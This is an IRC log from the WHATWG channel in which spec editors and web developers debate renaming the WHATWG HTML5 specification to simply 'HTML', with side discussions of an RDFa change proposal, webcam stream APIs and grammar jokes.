in case anyone missed my earlier question, i'm looking for feedback on http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-120 before i submit it today (no-namespaces-in-RDFa CP)

[09:16:01.0000] <annevk>
Hixie, if you could reply to the email (offlist if you want) that'd be easiest probably

[09:16:02.0000] <annevk>
I might be taking a pre-night nap

[09:16:03.0000] <Hixie>
also, in case anyone missed it yesterday, i'm planning on renaming the WHATWG HTML spec from "HTML5 (...)" to just "HTML" in a few hours unless anyone has a reason not to

[09:16:04.0000] <Hixie>
annevk: wfm

[09:16:05.0000] <annevk>
ta

[09:17:00.0000] <zcorpan>
Hixie: just do it already :P

[09:17:01.0000] <annevk>
jgraham, it is more backwards compatible

[09:17:02.0000] <Hixie>
zcorpan: :-)

[09:17:03.0000] <Hixie>
zcorpan: last time it caused all kinds of bitching, so i want to make sure the more active members of our community are on board first this time :-)

[09:17:04.0000] <annevk>
if you do it now, I can put it on the Internet

[09:17:05.0000] <annevk>
I mean twitter

[09:18:00.0000] <jgraham>
annevk: Not really

[09:18:01.0000] <zcorpan>
Hixie: are you asking on other places than #whatwg?

[09:18:02.0000] <annevk>
jgraham, styling?

[09:18:03.0000] <Hixie>
zcorpan: not any significant places, no

[09:18:04.0000] <Hixie>
zcorpan: feel free to

[09:18:05.0000] <annevk>
should we ask on twitter?

[09:18:06.0000] <dglazkov>
I think I need a logo too

[09:19:00.0000] <jgraham>
annevk: The styling will need to be adjusted by the author anyway

[09:19:01.0000] <Hixie>
hsivonen: your input on http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-120 in particular would be most welcome

[09:19:02.0000] <annevk>
jgraham, all you need with small is display block

[09:19:03.0000] <jgraham>
Right, and probably setting the size that you actually want

[09:19:04.0000] <Hixie>
i gotta disappear for a few hours, bbiab. let me know if you ask anywhere else and get an answer. :-)

[09:19:05.0000] <zcorpan>
Hixie: the only obvious place for me would be my twitter but i don't have so many followers

[09:20:00.0000] <jgraham>
So it is going to be the same as <subhead> in most cases

[09:20:01.0000] <Hixie>
zcorpan: feel free to convince anne that the whatwg twitter account would be appropriate :-)

[09:20:02.0000] <Hixie>
bbl

[09:21:00.0000] <annevk>
"We are going to rename the HTML5 specification to HTML in a few hours to avoid confusion with the marketing term. Problem, interwebs?"

[09:21:01.0000] <annevk>
s/marketing term/HTML5 buzzword/

[09:21:02.0000] <annevk>
zcorpan, wdyt?

[09:21:03.0000] <zcorpan>
/me would go for "Anyone object?"

[09:22:00.0000] <annevk>
aah, no troll jokes?

[09:22:01.0000] <Ms2ger>
"Negative Effects: Simplifies RDFa, potentially letting more people use it."

[09:22:02.0000] <Ms2ger>
Now that's not a nice thing to say

[09:23:00.0000] <annevk>
also funny

[09:24:00.0000] <jgraham>
Yeah, but looks childish

[09:25:00.0000] <annevk>
new try

[09:25:01.0000] <annevk>
"http://whatwg.org/html is getting renamed from HTML5 to HTML in a few hours to avoid confusion with the HTML5 buzzword. Okay? #html5"

[09:26:00.0000] <zcorpan>
wfm

[09:27:00.0000] <annevk>
http://twitter.com/WHATWG/status/27780227706912768

[09:27:01.0000] <matjas>
how has it come to this

[09:27:02.0000] <miketaylr>
hmm i'm leaving dhtml5.com as is for nostalgia then

[09:28:00.0000] <TabAtkins>
matjas: It's been just "HTML" ever since we abandoned versioning.  This is just a convenient time to make the change official.

[09:28:01.0000] <jacobolus>
Hixie: in your "other technologies" list, I've definitely seen namespace bugs in SVG renderers

[09:28:02.0000] <annevk>
apparently getting html.org requires USD 20k :/

[09:28:03.0000] <annevk>
html5.org ftw

[09:29:00.0000] <matjas>
TabAtkins: I know. It’s just that I’m still sobbing about the whole HTML5 logo + marketing mess

[09:29:01.0000] <miketaylr>
i wonder how much the logo cost, let's pawn it for html.org

[09:29:02.0000] <Philip`>
Hixie: Incompatibility with legacy RDFa-in-text/html documents sounds like it should be considered a negative effect

[09:30:00.0000] <matjas>
TabAtkins: I mean, the logo is basically a huge 5, which goes against the design principle of forward compatibility

[09:30:01.0000] <TabAtkins>
matjas: Hahaha

[09:30:02.0000] <matjas>
/me weeps

[09:30:03.0000] <Ms2ger>
matjas++

[09:31:00.0000] <zcorpan>
annevk: you don't have USD 20k to spare?

[09:32:00.0000] <annevk>
whether or not I do, it seems a bit much for getting rid of a character in a domain

[09:32:01.0000] <MikeSmith>
confusion is fun

[09:32:02.0000] <jgraham>
annevk: Maybe if this change goes through it will be a good investment

[09:33:00.0000] <Workshiva>
We should just wait for the new TLD system and register .html

[09:33:01.0000] <zcorpan>
we've been over this before!

[09:33:02.0000] <annevk>
convince the Mali government to allow registration at the top-level

[09:33:03.0000] <Philip`>
/me will take http://index.html, and make it the default page for the whole internet

[09:35:00.0000] <zcorpan>
http://krijnhoetmer.nl/irc-logs/whatwg/20110107#l-655

[09:36:00.0000] <annevk>
no wonder I can recite all of this without looking things up :)

[09:36:01.0000] <annevk>
some people on twitter are confused at least

[09:37:00.0000] <MikeSmith>
annevk: nothing new about people on twitter being confused

[09:39:00.0000] <jgraham>
/me sees the headline "World panics as people on twitter fail to become befuddeled!"

[09:39:01.0000] <MikeSmith>
"Let a hundred flowers of confusion further blossom" is what Chairman Mao once said

[09:40:00.0000] <MikeSmith>
then there's that cliche expression, "Starve a cold, feed confusion"

[09:40:01.0000] <MikeSmith>
etc.

[09:41:00.0000] <MikeSmith>
and it is no coincidence that "Confucian" is pronounced the same as "confusion"

[09:46:00.0000] <MikeSmith>
"needs more logo"

[09:47:00.0000] <jgraham>
MikeSmith: You are suggesting we use a cow bell for the HTML logo?

[09:50:00.0000] <jacobolus>
or just this picture? http://en.wikipedia.org/wiki/File:Confucius_Tang_Dynasty.jpg

[09:50:01.0000] <MikeSmith>
jgraham: I can't hear you … I think you need to say that again with more logo

[09:50:02.0000] <MikeSmith>
in other words, you need to HTML5 that more

[09:51:00.0000] <MikeSmith>
give it more HTML5

[09:52:00.0000] <annevk>
I also added http://twitter.com/WHATWG/status/27786442344243200 so I don't have to track twitter replies

[09:58:00.0000] <zcorpan>
Hi random people from twitter!

[10:01:00.0000] <jgraham>
zcorpan: They are a highly biased sample of twitter users, hardly random at all

[10:01:01.0000] <TabAtkins>
jgraham: He never said "uniformly random from the population of all twitter users".

[10:02:00.0000] <jgraham>
TabAtkins: No, but the unqualified word "random" is highly misleading

[10:02:01.0000] <TabAtkins>
Only if you're being pedantic, and if so, then you weren't being pedantic enough.

[10:02:02.0000] <TabAtkins>
Go all the way or go home.

[10:02:03.0000] <Ms2ger>
/me goes home

[10:03:00.0000] <jgraham>
Feel free to take the pedant and run with it

[10:09:00.0000] <annevk>
strongest reaction on twitter thus far is from Matt May

[10:09:01.0000] <annevk>
"Oh, ffs. Way to finish capturing the spec. RT @WHATWG: http://whatwg.org/html is getting renamed from HTML5 to HTML...to avoid confusion."

[10:10:00.0000] <annevk>
"No, @WHATWG, it's not "okay" to expropriate the name HTML from W3C. Not that it'll stop you."

[10:10:01.0000] <annevk>
I have no idea what he means, I hope he joins IRC

[10:10:02.0000] <matjas>
As a rebellion against the W3C and its HTML5 [sic] logo, I hereby propose the WHATWG shall henceforth use the name HTML instead of HTML5 when talking about the markup language, and resort to using the HTML[5] Gang Sign for visual recognition and marketing purposes. http://html5homi.es/

[10:11:00.0000] <jgraham>
Sounds like he isn't happy with us using any term that W3C uses (presumably including HTML5)

[10:11:01.0000] <TabAtkins>
How is using "HTML" more "expropriation" than using "HTML5"?  (I don't know what "expropriate" means, but I don't see how it could possibly be different between the two.)

[10:11:02.0000] <TabAtkins>
Also, you shouldn't alter a retweet like that.

[10:12:00.0000] <TabAtkins>
I HAVE OPINIONS ON HOW YOU ARE USING THE TWITTERS.

[10:12:01.0000] <annevk>
he's not here TabAtkins :)

[10:12:02.0000] <TabAtkins>
It's a generalized "you".

[10:12:03.0000] <annevk>
but he might read the logs I suppose, apparently they're popular

[10:12:04.0000] <matjas>
 /s/you/one/ happy now annevk? :P

[10:13:00.0000] <TabAtkins>
I should remember to use "one" more.  My favoritest teacher ever used it constantly.

[10:13:01.0000] <jgraham>
Well you can tell at least some a11y people read the logs from the distribution of yellow

[10:13:02.0000] <Ms2ger>
"One should do his homework, Tab!"?

[10:13:03.0000] <jgraham>
matjas: That would make it ungrammatical, no?

[10:13:04.0000] <annevk>
matjas, you mean s/YOU ARE/ONE IS/?

[10:14:00.0000] <annevk>
damnit jgraham

[10:14:01.0000] <jgraham>
ONE SHOULD, surely

[10:14:02.0000] <TabAtkins>
Ms2ger: That was, indeed, a constant refrain.

[10:14:03.0000] <MikeSmith>
krijnh should add a "highlight all lines" button

[10:14:04.0000] <jgraham>
ONE SHOULD USE

[10:14:05.0000] <matjas>
I heard bad grammar is allowed in HTML5, so meh

[10:14:06.0000] <MikeSmith>
anything is allowed in HTML5

[10:14:07.0000] <TabAtkins>
matjas: Yeah, the parsing algo will fix it up for you.

[10:14:08.0000] <zcorpan>
nothing wrong with one are if you do the gang sign

[10:14:09.0000] <Ms2ger>
Only inside badgrammar elements

[10:15:00.0000] <matjas>
Ms2ger: according to my sources it should work inside <sarcasm /> as well

[10:15:01.0000] <TabAtkins>
All possible bytestrings can be interpreted as en-html.

[10:15:02.0000] <jgraham>
AFAIK there is no conformance requirement that the test of a document must conform to the grammar indicated by the lang attribute

[10:15:03.0000] <Ms2ger>
File a bug

[10:15:04.0000] <jgraham>
I am worried that now I have thought of this Hixie will add one

[10:15:05.0000] <jgraham>
:p

[10:15:06.0000] <TabAtkins>
/me is sorely tempted to file a bug.

[10:15:07.0000] <TabAtkins>
/me and then escalate it to an issue.

[10:16:00.0000] <zcorpan>
Authors must not be stupid.

[10:16:01.0000] <jgraham>
TabAtkins: Dammit

[10:16:02.0000] <annevk>
That would make a lot of my HTML invalid. I object!

[10:16:03.0000] <TabAtkins>
I OBJECT FURTHER.

[10:16:04.0000] <jgraham>
/me is sure there are quite legitimate use cases for non-grammatical constructs

[10:16:05.0000] <jgraham>
such as the discussion of grammar

[10:16:06.0000] <TabAtkins>
That's what <sic> is for.

[10:17:00.0000] <jgraham>
<sic> a) doesn't exist and b) wouldn't make sense in the contexts I am thinking of

[10:17:01.0000] <annevk>
But if you do "Trolling is <sic>a</sic> art." people would know you are trolling

[10:17:02.0000] <TabAtkins>
Alternately, any text node containing the substring "[sic]" can ignore the rule.

[10:17:03.0000] <jgraham>
But literal quotes are another use case

[10:17:04.0000] <annevk>
So you would have to exclude <sic>, but that produces invalid code

[10:17:05.0000] <jgraham>
I can't believe I am wasting away my life thinking about this

[10:17:06.0000] <Philip`>
We'd need to add "precise normative specification of English grammar" to the Companion Specifications page

[10:17:07.0000] <TabAtkins>
Hahaha.  Trolling is indeed a art.

[10:18:00.0000] <jgraham>
Philip`: I18n would never let that past

[10:18:01.0000] <TabAtkins>
s/Trolling/Nerd sniping/

[10:18:02.0000] <jgraham>
We would need one for each possible valid lang value

[10:18:03.0000] <TabAtkins>
Finally a use for computational linguists.

[10:18:04.0000] <Ms2ger>
Well, there's one for en-US-x-hixie

[10:18:05.0000] <jgraham>
Although

[10:18:06.0000] <jgraham>
Do we have that for <script>?

[10:19:00.0000] <Workshiva>
The problem with using "one" is that it gets you trapped in the third-person pronoun tarpit

[10:19:01.0000] <TabAtkins>
There is no tarpit.  "they" is a great third-person singular pronoun.  Shakespeare used it.

[10:19:02.0000] <jgraham>
Ms2ger: That is way underspecified

[10:19:03.0000] <zcorpan>
Workshiva: use "I" instead

[10:19:04.0000] <Workshiva>
zcorpan: "I should do your homework" sounds like a bad way to phrase it

[10:19:05.0000] <TabAtkins>
Anything Shakespeare did is, by definition, valid English.

[10:20:00.0000] <Workshiva>
TabAtkins: Anything Shakespeare did is by definition obsolete and outdated!

[10:20:01.0000] <zcorpan>
Workshiva: i don't see anythign wrong with it!

[10:20:02.0000] <jgraham>
Anything anyone understands is, by definiton, valid english

[10:20:03.0000] <Philip`>
Shakespeare made up words, so does that mean making up words is valid English?

[10:20:04.0000] <jgraham>
Descriptiveism ftw

[10:20:05.0000] <TabAtkins>
Workshiva: I don't think you understand.  Shakespeare *created* English.  Before him we were all talking fake-german.

[10:20:06.0000] <jgraham>
Philip`: Yes

[10:20:07.0000] <jgraham>
(creating words happens all the time)

[10:20:08.0000] <TabAtkins>
It took him a while to teach English to enough people for them to be able to understand his plays.

[10:21:00.0000] <Workshiva>
He didn't invent English, he invented Ye Olde Aenglishe

[10:21:01.0000] <jgraham>
(creating new grammatical forms is, I guess, harder)

[10:21:02.0000] <Workshiva>
I don't think there's any "u mad?" in Shakespeare

[10:21:03.0000] <TabAtkins>
Nah, that's easy too.  My wife and her mother regularly leave out "to be" from their sentences, like "The cat needs fed."

[10:21:04.0000] <jgraham>
TabAtkins: I doubt you created taht

[10:21:05.0000] <Philip`>
The best thing about Shakespeare is that he wrote all those margin notes to explain what he meant in modern English

[10:22:00.0000] <TabAtkins>
No, but someone did, and it's not standard English.

[10:22:01.0000] <TabAtkins>
Philip`: He was really forward-looking, yeah.

[10:22:02.0000] <jgraham>
TabAtkins: But it is English

[10:22:03.0000] <TabAtkins>
jgraham: Sure, *now*.  Because it was invented.

[10:22:04.0000] <jgraham>
In the sense that it is accepted by native speakers

[10:22:05.0000] <jgraham>
Well yeas, so was anything

[10:23:00.0000] <jgraham>
But new words must be more common than new grammatical forms

[10:23:01.0000] <zcorpan>
yeas? jgraham spelling for yes?

[10:23:02.0000] <TabAtkins>
Sure, I'd say it's more common.

[10:23:03.0000] <jgraham>
zcorpan: 21st century keyboard friendly alternative form, yeas

[10:23:04.0000] <zcorpan>
/me likes yeas

[10:24:00.0000] <Ms2ger>
/me likes peas

[10:24:01.0000] <mattmay>
annevk: you rang?

[10:24:02.0000] <zcorpan>
Ms2ger: black eyed ones?

[10:24:03.0000] <TabAtkins>
Hmm.  If we define <device> to be something that creates a stream from hardware, and this stream can then be used in other elements that expect a URL...

[10:24:04.0000] <jgraham>
zcorpan: ugh

[10:25:00.0000] <TabAtkins>
Then we should get scriptable access to webcams through <video> with the stream, and evented data from HID devices by connecting EventSource to a stream.

[10:26:00.0000] <MikeSmith>
/me highlights "The best thing about Shakespeare is that he wrote all those margin notes to explain what he meant in modern English"

[10:27:00.0000] <Philip`>
TabAtkins: How would that work when you need to add webcam-specific API (like controlling the contrast or enabling face-tracking or whatever)? Just stick them on HTMLVideoElement?

[10:27:01.0000] <TabAtkins>
Maybe?

[10:27:02.0000] <TabAtkins>
I admit, attaching it to <video> is the weirdest case.  How does play/pause interact?

[10:27:03.0000] <MikeSmith>
/me also highlights the line where he said, "* MikeSmith highlights "The best thing about Shakespeare is that he wrote all those margin notes to explain what he meant in modern English"

[10:27:04.0000] <TabAtkins>
But attaching it to <img> seems cool.

[10:28:00.0000] <TabAtkins>
Handing mic access directly to an audio buffer (per Chris Rogers' spec) would similarly be better than handing it to <audio>.

[10:29:00.0000] <TabAtkins>
I guess we can define a video buffer as well.

[10:29:01.0000] <TabAtkins>
Though, things like controlling the contrast seem like they'd be best handled by the UA, no?

[10:30:00.0000] <karlcow>
http://html5.uncontrol.com/

[10:30:01.0000] <Philip`>
It'd probably be similar to <video> UI, where the UA provides default controls but you can write your own scripted ones if you want

[10:30:02.0000] <TabAtkins>
Good point.

[10:30:03.0000] <karlcow>
http://people.opera.com/danield/html5/html5logo/

[10:31:00.0000] <ben_c>
What would be the issues of play / pause stopping / starting the webcam input stream?

[10:32:00.0000] <TabAtkins>
Well, is it sensical that the webcam only starts "recording" when you hit play on the <video>?

[10:32:01.0000] <TabAtkins>
The answer might be "yes", I dunno.

[10:32:02.0000] <Philip`>
Why would you want to connect a web page to your local webcam anyway?

[10:32:03.0000] <Philip`>
Seems much more useful to connect to somebody else's webcam

[10:32:04.0000] <TabAtkins>
That's useful as well.

[10:33:00.0000] <ben_c>
ah, so in that case the UI would need to change to record / stop, see your point

[10:33:01.0000] <Philip`>
If you want to look at yourself, just get a glossy monitor

[10:33:02.0000] <TabAtkins>
Philip`: I think things like Playstation Eye and Kinect prove that it's useful to get live images of yourself into a program.

[10:34:00.0000] <webr3>
is there any specification of what URI normalization should or should not be implemented by somebody implementing the HTML spec, seems browsers (like chrome) do some normalization but I can't see any requirement for this to happen, or text saying it shouldn't happen

[10:34:01.0000] <ben_c>
Philip`: You get to have cool business cards - http://www.youtube.com/watch?v=5qoucBw60jM

[10:37:00.0000] <zcorpan>
webr3: i think abarth is working on a url spec

[10:37:01.0000] <zcorpan>
webr3: previous work is 'web addresses in html5' or what it's called

[10:38:00.0000] <TabAtkins>
Heh, I think that, with the new CSS3 Speech additions, I coudl Autotune a webpage.

[10:39:00.0000] <paul_irish>
TabAtkins: we have a goal on the wall to do that. :)

[10:39:01.0000] <TabAtkins>
YES.

[10:42:00.0000] <Hixie>
thanks to the various comments on the CP, I've updated it as suggested. http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-120

[10:48:00.0000] <mattmay>
Hixie: how would you prefer an issue be raised on a change that hasn't been made? Pretty sure that's not usually how these things happen.

[10:49:00.0000] <Hixie>
how do you mean?

[10:49:01.0000] <Hixie>
annevk: dude how do i log in to the blog :-P

[10:50:00.0000] <mattmay>
This is about s/HTML5/HTML/g

[10:50:01.0000] <Hixie>
ah, we're just talking about that here

[10:50:02.0000] <Hixie>
so if you have a question about it, just raise it here :-)

[10:51:00.0000] <mattmay>
Okay, well... first of all, I think HTML is a term with a little bit of history to it.

[10:51:01.0000] <Ms2ger>
/me approves of HTML

[10:52:00.0000] <Hixie>
yeah, the spec has a section talking abotu the history of HTML

[10:53:00.0000] <mattmay>
And while I know HTML5 is already problematic what with the W3C/WHATWG schism and all, I think removing the 5 leads to an even bigger namespace collision.

[10:53:01.0000] <Hixie>
namespace collision?

[10:53:02.0000] <Hixie>
not sure what you mean

[10:54:00.0000] <mattmay>
Specifically, HTML is the most generic term for web markup available.

[10:55:00.0000] <Hixie>
not as generic as "web markup"

[10:56:00.0000] <Hixie>
but even if it was, that doesn't seem like a problem... i mean, "HTML" is what the spec defines, right?

[10:56:01.0000] <alcuadrado>
Hi everyone, I have just seen a tweet from the whatwg account saying something about "name change". Are you planning to change the name to HTML, to the WG, or what? :s

[10:56:02.0000] <mattmay>
I'm pretty sure I've never had anyone ask me to help them with their "web markup".

[10:56:03.0000] <Hixie>
alcuadrado: the plan is to rename http://whatwg.org/html to "HTML" rather than "HTML5 (including next generation additions still in development)"

[10:57:00.0000] <mattmay>
Then why create a term of art around your work, only to abandon it when it's used by the holder of the HTML trademark?

[10:58:00.0000] <alcuadrado>
I one read in the WHATWG blog that after this spec you are planning to move to a more or less rolling release approach, I am right? If that's true, I think it'd be ok to name it just html. But well, I'm just a curious web dev :P

[10:58:01.0000] <alcuadrado>
once*

[10:58:02.0000] <Ms2ger>
There is no HTML trademark

[10:59:00.0000] <Hixie>
alcuadrado: yep, already doing that in fact, changing the name is the last step

[10:59:01.0000] <karlcow>
Ms2ger: there is in fact - http://www.w3.org/Consortium/Legal/2002/trademarks-20021231.html

[11:00:00.0000] <PlayerNaN>
I guess every browser will need to conform to the html5 specifications for naughty markup when rendering old html documents anyways, I'm for everything that cleans up old documents as well. Have I understood this right?

[11:00:01.0000] <karlcow>
just to correct the fact

[11:00:02.0000] <annevk>
Hixie, blog.whatwg.org/wp-admin/

[11:00:03.0000] <Hixie>
mattmay: not sure what you mean. We never called the WHATWG spec "HTML5" until the W3C did; the spec was called "Web Applications 1.0" (and still is -- http://whatwg.org/C). We're just talking about the spec that's a subset of the WHATWG work that is a suerpset of the W3C HTML5 work

[11:00:04.0000] <Hixie>
annevk: thanks

[11:00:05.0000] <mattmay>
Karlcow: beat me to it. Stupid Android keyboard.

[11:00:06.0000] <annevk>
hey, great you joined mattmay!

[11:01:00.0000] <annevk>
/me was having dinner

[11:02:00.0000] <alcuadrado>
so great news Hixie :) and thanks you all for your work guys. see ya

[11:02:01.0000] <gsnedders>
PlayerNaN: Browsers implement a single mode, regardless of version, pretty much. There's minor differences between quirks/no-quirks, but that's it. Almost all that affects is at a CSS level.

[11:02:02.0000] <Hixie>
PlayerNaN: yeah, sounds like it

[11:04:00.0000] <mattmay>
Yeah, I get that. But that also uses the most general term available. You're using the term which is the abstract representation of the web's core language to define one spec.

[11:04:01.0000] <mattmay>
Which seems short-sighted.

[11:04:02.0000] <gsnedders>
mattmay: I guess the point is the spec is meant to be continually evolving, much like the impls

[11:04:03.0000] <Hixie>
HTML isn't the abstract representation of the web's core language, it IS the web's core language

[11:04:04.0000] <mattmay>
annevk: Yeah, and from a tablet, no less.

[11:05:00.0000] <PlayerNaN>
I see no problem in just changing the name to html. One spec ftw!

[11:05:01.0000] <mattmay>
@PlayerNaN: that's the problem. There isn't "one spec".

[11:06:00.0000] <karlcow>
maybe I found a name for this unversioned Web kitchen sink - WIG = Web Implementation Guide

[11:06:01.0000] <annevk>
mattmay, shouldn't the core spec be called HTML?

[11:06:02.0000] <Ms2ger>
mattmay, of course there is

[11:06:03.0000] <Hixie>
the spec isn't one version of the spec, the whole point of the WHATWG spec is that it is the continuously-maintained spec of the HTML language

[11:06:04.0000] <mattmay>
karlcow: WIG? You've put a name to my secret shame.

[11:09:00.0000] <karlcow>
I had to wig him for not implementing properly his web site.

[11:09:01.0000] <karlcow>
let's put a wig on our HTTP head

[11:09:02.0000] <karlcow>
we could all wig out too.

[11:13:00.0000] <mattmay>
Ya know, marketing may annoy you, but it does get people paying attention.

[11:16:00.0000] <Hixie>
people seem to be paying attention :-)

[11:17:00.0000] <mattmay>
Do you think you'll benefit from people saying they're using "HTML"?

[11:17:01.0000] <Hixie>
i don't care about benefitting personally

[11:17:02.0000] <Hixie>
the goal here is to improve the web

[11:18:00.0000] <mattmay>
Google it. First page is outdated crap, the kind of practices you hate. They're stale, and they won't go away anytime soon.

[11:18:01.0000] <Hixie>
so?

[11:18:02.0000] <Hixie>
why would you google "html"?

[11:19:00.0000] <mattmay>
At least with HTML5, marketing aside, you have a fresh start. Actually seems to be working.

[11:19:01.0000] <Ms2ger>
There's no fresh start

[11:19:02.0000] <Hixie>
"HTML5" according to the W3C means all kinds of stuff including CSS, so it hardly seems like either a fresh start, nor to be working.

[11:19:03.0000] <mattmay>
Don't ask me. You're the one with the data. But I bet it's searched more than HTML5.

[11:20:00.0000] <Hixie>
well if it's searched more, all the more reason to use the term :-)

[11:20:01.0000] <mattmay>
I disagree with that, too. But they need to fix their messaging. You don't need to change yours.

[11:21:00.0000] <Hixie>
we're not changing messaging

[11:21:01.0000] <Hixie>
we're just clarifying what the spec defines

[11:21:02.0000] <mattmay>
It's not what people search to find the spec. That's my point.

[11:21:03.0000] <Hixie>
i thought you said you had no data on that

[11:21:04.0000] <ben_c>
I think some people are scared off by HTML5 thinking it's something special so they just go and learn 'standard html', so hopefully the name change will help that

[11:21:05.0000] <mattmay>
HTML is a more general term than the spec.

[11:21:06.0000] <Hixie>
HTML5 is a more general term than the spec.

[11:22:00.0000] <Hixie>
at least HTML is more accurate :-)

[11:22:01.0000] <hsivonen>
Hixie: chances are that droppin "5" will be toxic like the 2022 thing

[11:22:02.0000] <mattmay>
Even more accurate is "WHATWG HTML"

[11:22:03.0000] <hsivonen>
Hixie: I think it's better to keep the title of the WHATWG spec

[11:22:04.0000] <gsnedders>
Language is inherently transient, and everything will change meaning over time.

[11:23:00.0000] <gsnedders>
But my general thoughts are much what hsivonen just said

[11:25:00.0000] <othermaciej>
it's probably true that s/HTML5/HTML/ is more likely to create bad PR than good PR, if anyone even notices

[11:26:00.0000] <roc>
wow, metservice.co.nz is using canvas for graphs now

[11:26:01.0000] <Hixie>
so far the response from the twitter question has been almost uniformly positive, to the level of getting people coming here to say so.

[11:26:02.0000] <jamesr_>
they just made the 5 icon and everything

[11:26:03.0000] <espadrine>
Is this switch intended for the non-spec community?

[11:27:00.0000] <karlcow>
I do not think it is a good idea to call it html as well. fwiw

[11:27:01.0000] <mattmay>
Well, except me.

[11:29:00.0000] <karlcow>
/me wonders if the French grammar is making it obscure: "It is a bad idea to rename it HTML" (what I meant)

[11:29:01.0000] <Hixie>
hsivonen: well there's always a risk, but i don't see how... could you elaborate on how it could be toxic?

[11:30:00.0000] <othermaciej>
I think the most likely outcome is not much notice taken of the move beyond insiders

[11:30:01.0000] <Hixie>
indeed

[11:30:02.0000] <Hixie>
espadrine: we're working on a (well, ben is working on a) developers.whatwg.org version of the spec which will likely remain "HTML5" for the time being, it's up to him

[11:30:03.0000] <othermaciej>
probably small chance of someone spinning it into a linkbait shitstorm

[11:32:00.0000] <espadrine>
Hixie: then this change won't affect many people.

[11:32:01.0000] <espadrine>
God, http://developers.whatwg.org/ looks nice!

[11:33:00.0000] <Hixie>
espadrine: we're working on a (well, ben is working on a) developers.whatwg.org version of the spec which will likely remain "HTML5" for the time being, it's up to him

[11:34:00.0000] <Hixie>
oops

[11:34:01.0000] <Hixie>
didn't mean to say that twice :-)

[11:34:02.0000] <Hixie>
espadrine: yeah, ben's got a good eye for design :-)

[11:35:00.0000] <mattmay>
So how would a dev express that they're using the most modern technology? "You guys! We support HTML!" "Oh, great. My nephew did that like 10 years ago."

[11:36:00.0000] <TabAtkins>
"HTML and CSS and shit"

[11:36:01.0000] <Hixie>
wtf, i'm getting hits for http://whatwg.org/specs/web-apps/current-work/multipage/hfavicon.ico and http://whatwg.org/specs/web-apps/current-work/multipage/tfavicon.ico and so on for all characters in the set [dhtml5]

[11:36:02.0000] <Rik`>
what about calling it "HTML Level 5" ?

[11:36:03.0000] <espadrine>
If you want to impress, do use HTML5. Otherwise, you're talking about the spec! ^^

[11:36:04.0000] <TabAtkins>
"you know, all that cool technology stuff they're doing today"

[11:36:05.0000] <TabAtkins>
"i dunno"

[11:36:06.0000] <Ms2ger>
Rik`, the point is that there's no levels

[11:37:00.0000] <Hixie>
Rik`: as Ms2ger says, the point is that there's just one continuously maintained spec with no versions, levels, etc.

[11:37:01.0000] <Hixie>
mattmay: "HTML5" started 7 years ago, so that's hardly any better.

[11:37:02.0000] <Ms2ger>
WA1 started then ;)

[11:37:03.0000] <Rik`>
just trying to mimic CSS

[11:37:04.0000] <Hixie>
WA1 still exists :-)

[11:38:00.0000] <mattmay>
It's about 14 years better. ;)

[11:38:01.0000] <Ms2ger>
Well, mimicking CSS specs is hardly something I'd recommend

[11:38:02.0000] <Ms2ger>
(Hi Tab!)

[11:41:00.0000] <mattmay>
HTML Infinity!

[11:41:01.0000] <karlcow>
HTML∞ in this case

[11:42:00.0000] <mattmay>
Yeah, couldn't see that on my virtual kbd. :)

[11:43:00.0000] <Rik`>
Hixie: how can it be one continuously maintained spec ?

[11:43:01.0000] <mattmay>
That'd be hell to search for.

[11:43:02.0000] <Rik`>
isn't it supposed to be done by 2022 ?

[11:43:03.0000] <Ms2ger>
No

[11:43:04.0000] <Ms2ger>
The W3C will publish a snapshot of 2010's HTML by then

[11:44:00.0000] <bfrohs>
I can definitely get behind changing the name of the spec to HTML. It would not only make sense to us veterans, but also help beginners realize there is only one HTML spec that should be followed.

[11:44:01.0000] <espadrine>
Ecmascript people do quite the same. They name their current compilation of handsome features Harmony, and they will name it ES6 when people are fed up with ES5.

[11:45:00.0000] <mattmay>
bfrohs: except... there's not...

[11:45:01.0000] <karlcow>
http://musiclub.web.cern.ch/MusiClub/bands/cernettes/firstband.html

[11:45:02.0000] <karlcow>
"How was I to know that I was passing an historical milestone, as the one above was the first picture ever to be clicked on in a web browser!"

[11:45:03.0000] <mattmay>
And imagine the crap you'd find if you started to look for an HTML tutorial on a search engine. Not to mention a bookstore.

[11:48:00.0000] <hsivonen>
Hixie: HTML5 has brand value that you are about to abandon

[11:51:00.0000] <espadrine>
hsivonen: The way I see it, HTML5 already didn't mean "the current HTML spec" in the journalistic world.

[11:54:00.0000] <mattmay>
espadrine: Imagine trying to get those same journalists excited about "HTML". They'll say, "HTML? Meh. That's not new."

[11:55:00.0000] <mattmay>
Can't wait to hear about the first person who asks us if Dreamweaver supports HTML.

[11:56:00.0000] <espadrine>
mattmay: When we'll need journalists to get excited, we will say: "we are designing HTML6". That should impress them.

[11:56:01.0000] <espadrine>
(Wow, 6 is bigger than 5! It must be better then!)

[11:57:00.0000] <bfrohs>
mattmay: HTML5 has come to define 'the latest web technologies', not HTML itself. The term will still remain in use in media [and when we're pitching to others ;)]

[11:57:01.0000] <Philip`>
HTML6 is too similar to HTML5 to become a new buzzword

[11:57:02.0000] <mattmay>
And five seconds later, marketers will steal that, too.

[11:58:00.0000] <Philip`>
People like totally fresh buzzwords (DHTML, XHTML, AJAX, Web 2.0, HTML5, etc)

[11:58:01.0000] <bfrohs>
Philip`: HTML∞ for the next version then ;)

[11:58:02.0000] <Philip`>
and predicting the next one seems hard

[11:59:00.0000] <espadrine>
bfrohs: yes, but how would we name the next iteration then? How would we impress people after HTML Infinity?

[12:00:00.0000] <Ms2ger>
Aleph-one

[12:00:01.0000] <bfrohs>
espadrine: Someone will come up with something else that's catchy -- they always do (like Philip` just mentioned)

[12:00:02.0000] <espadrine>
Ms2ger: That's actually bold!

[12:01:00.0000] <TabAtkins>
Can anyone who knows japanese tell me if this is a spammy account or not?

[12:01:01.0000] <TabAtkins>
http://twitter.com/#!/insidetaka30

[12:02:00.0000] <karlcow>
I wonder if the question comes now to is there any chances that Hixie accepts to not rename HTML5 as HTML. If the answer is yes then there is value in the discussion, if it is a "no, my own decision" then no point argueing with made decisions

[12:03:00.0000] <espadrine>
karlcow: we may argue about how to handle side-effects, I guess.

[12:04:00.0000] <bfrohs>
karlcow: Even if Hixie has his mind made up atm, arguments that have yet to be presented may change his mind -- He's handled everything else quite well so far; I doubt this would be an exception to that :)

[12:05:00.0000] <karlcow>
I beg to have a different opinion (which doesn't matter) :)

[12:10:00.0000] <MikeSmith>
TabAtkins: not spam

